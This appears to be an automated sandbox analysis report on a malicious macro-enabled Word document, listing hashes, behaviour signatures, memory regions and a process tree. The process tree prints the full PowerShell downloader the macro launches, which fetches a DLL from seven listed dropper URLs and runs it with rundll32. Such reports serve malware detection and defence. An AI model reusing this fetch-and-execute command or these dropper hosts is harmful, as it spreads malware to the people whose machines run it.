Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14-11-2024 14:37

General

  • Target

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8.docm

  • Size

    140KB

  • MD5

    391dca4cf91ae12aa1b5ac9d0ac3ec41

  • SHA1

    47cfcf587d838f68a8f8df53ea3afae475436992

  • SHA256

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

  • SHA512

    de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

  • SSDEEP

    3072:hbcffUXwhJd0+y7ukYe4uYum1GdgOpVXGuhCUqDqwSm:BXw50+OukzVXV2uhDC9Sm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8.docm"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2756
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2552-0-0x000000002FAB1000-0x000000002FAB2000-memory.dmp

      Filesize

      4KB

    • memory/2552-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2552-2-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/2552-6-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-5-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-23-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-24-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-22-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-21-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-19-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-17-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-18-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-16-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-14-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-13-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-12-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-11-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-10-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-9-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-8-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-7-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-28-0x000000007167D000-0x0000000071688000-memory.dmp

      Filesize

      44KB

    • memory/2552-29-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-30-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB